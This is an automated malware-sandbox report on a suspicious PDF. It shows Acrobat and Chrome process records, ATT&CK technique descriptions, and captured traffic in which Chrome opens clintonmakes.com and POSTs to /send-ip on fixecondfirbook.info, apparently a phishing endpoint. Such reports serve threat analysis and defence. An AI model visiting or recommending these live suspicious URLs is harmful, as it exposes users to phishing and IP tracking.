2025-01-16 16:20:04 UTC	768	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 642 Connection: close Server: nginx Date: Mon, 06 Jan 2025 04:05:32 GMT Last-Modified: Mon, 07 Sep 2020 09:08:23 GMT ETag: "5f55f887-282" Expires: Wed, 05 Feb 2025 04:05:32 GMT Cache-Control: max-age=2592000 access-control-allow-origin: * nel: {"report_to":"default","max_age":600} report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05} Accept-Ranges: bytes x-xss-protection: 1; mode=block timing-allow-origin: * X-Cache: Hit from cloudfront Via: 1.1 2146d75cb402f16f98928cb19acf5ff6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 X-Amz-Cf-Id: IvHcG7osYVeK1GH8Tze2XGRZ6yJSFzWdZ9zYqJL5ItQDbOPwN-lwlQ== Age: 908072
2025-01-16 16:20:04 UTC	642	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 03 00 00 00 60 dc 09 b5 00 00 00 75 50 4c 54 45 b4 1f 30 3c 39 70 b4 1f 30 97 27 40 ff ff ff b4 1f 30 3c 3a 70 d0 73 7d 54 53 82 ec c7 cb e3 ab b1 61 5f 8b 48 46 79 6d 6b 94 49 46 79 be 3b 49 91 90 ae c2 c2 d2 79 78 9c 85 84 a6 48 47 79 9d 9c b7 aa a9 c0 b6 b5 c9 c7 57 64 f3 f3 f6 db da e4 ce cd db 96 26 40 e7 e7 ed 6d 6b 93 9e 9d b7 ce ce db a1 47 5e b5 b5 c9 9e 9c b8 c0 a4 b4 b7 87 9a ae 6c 81 d6 1f 19 b1 00 00 00 04 74 52 4e 53 df bf bf bf 3b 25 6a 12 00 00 01 b8 49 44 41 54 48 c7 8c d4 61 93 94 30 0c 06 60 d4 f5 35 9a 14 4b 69 41 38 d9 dd bb 53 ff ff 4f b4 79 b9 b9 ce c0 ce 68 3e 3c d3 81 09 34 a4 a1 fb f0 1f f1 e9 63 8b 0e 30 83 87 50 6d eb 76 e5 e7 e7 16 1d fa 69 10 bc 89 69 Data Ascii: PNGIHDR00`uPLTE0<9p0'@0<:ps}TSa_HFymkIFy;IyxHGyWd&@mkG^ltRNS;%jIDATHa0`5KiA8SOyh><4c0Pmvii

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	55669	104.21.94.195	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:21:14 UTC	586	OUT	POST /send-ip HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://fixecondfirbook.info Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://fixecondfirbook.info/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:21:14 UTC	824	IN	HTTP/1.1 200 OK Date: Thu, 16 Jan 2025 16:21:14 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3cmJjjW%2BqDMC7LLu7atnCglb1P%2FEBqw4zyQr8oXOowr8VOd0fB2fdajMQW0tExmSSgnWfOgDAIFHkZP%2Bi8IoALgf2fUFYtPPybfO%2FMnbcfqarm0ZnfZNdlkgzj5ulyrVm72ztxzoZQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f6ffe2f24aaec-YYZ alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=13767&min_rtt=13767&rtt_var=5164&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=1164&delivery_rate=211993&cwnd=32&unsent_bytes=0&cid=4621eb35ad8c21bc&ts=495&x=0"
2025-01-16 16:21:14 UTC	27	IN	Data Raw: 31 35 0d 0a 49 50 20 d0 be d1 82 d0 bf d1 80 d0 b0 d0 b2 d0 bb d0 b5 d0 bd 0d 0a Data Ascii: 15IP
2025-01-16 16:21:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	55670	104.21.94.195	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:21:15 UTC	351	OUT	GET /send-ip HTTP/1.1 Host: fixecondfirbook.info Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:21:15 UTC	900	IN	HTTP/1.1 404 Not Found Date: Thu, 16 Jan 2025 16:21:15 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Express Content-Security-Policy: default-src 'none' X-Content-Type-Options: nosniff cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SLfPgUYdPex1mDGZoBoIwG9MCK2Kiv2nLkIMNZUIGzYXfiWgs2pNc1xr4ght6QJZa6Vs7TcOPei3anbGU9SlRye4B0hXpVlgFarjkw7L9OTmqvxqm4rDPiEP6pis1W53%2FAHCbGGSSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902f700428c981c9-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7271&min_rtt=7238&rtt_var=2781&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2852&recv_bytes=929&delivery_rate=388918&cwnd=32&unsent_bytes=0&cid=5d04959f7e27764e&ts=376&x=0"
2025-01-16 16:21:15 UTC	152	IN	Data Raw: 39 32 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 73 65 6e 64 2d 69 70 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 92<!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /send-ip</pre></body></html>
2025-01-16 16:21:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	55671	35.190.80.1	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:21:16 UTC	547	OUT	OPTIONS /report/v4?s=SLfPgUYdPex1mDGZoBoIwG9MCK2Kiv2nLkIMNZUIGzYXfiWgs2pNc1xr4ght6QJZa6Vs7TcOPei3anbGU9SlRye4B0hXpVlgFarjkw7L9OTmqvxqm4rDPiEP6pis1W53%2FAHCbGGSSA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://fixecondfirbook.info Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:21:16 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Thu, 16 Jan 2025 16:21:16 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	55672	35.190.80.1	443	7368	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:21:16 UTC	484	OUT	POST /report/v4?s=SLfPgUYdPex1mDGZoBoIwG9MCK2Kiv2nLkIMNZUIGzYXfiWgs2pNc1xr4ght6QJZa6Vs7TcOPei3anbGU9SlRye4B0hXpVlgFarjkw7L9OTmqvxqm4rDPiEP6pis1W53%2FAHCbGGSSA%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 397 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-16 16:21:16 UTC	397	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 38 34 31 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 31 2e 39 34 2e 31 39 35 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 66 69 78 65 63 6f 6e 64 66 69 72 62 6f 6f 6b 2e Data Ascii: [{"age":0,"body":{"elapsed_time":841,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"","sampling_fraction":1.0,"server_ip":"104.21.94.195","status_code":404,"type":"http.error"},"type":"network-error","url":"https://fixecondfirbook.
2025-01-16 16:21:16 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Thu, 16 Jan 2025 16:21:16 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Target ID:	1
Start time:	11:19:26
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\iRMbIIEjhP.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:19:32
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:19:34
Start date:	16/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1508,i,8264622678138486168,971824510613183442,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:19:53
Start date:	16/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "https://clintonmakes.com/215c/#7ihbo"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	11:19:54
Start date:	16/01/2025
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2520,i,9976915525274287468,7701415393893872558,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Spearphishing with a link is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of links to download malware contained in email, instead of attaching malicious files to the email itself, to avoid defenses that may inspect email attachments. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report iRMbIIEjhP.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Errors

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7cbd422c-0b6a-45e1-9d7d-f43fee1ab856.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-250116161938Z-308.bmp

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Windows Analysis Report
iRMbIIEjhP.pdf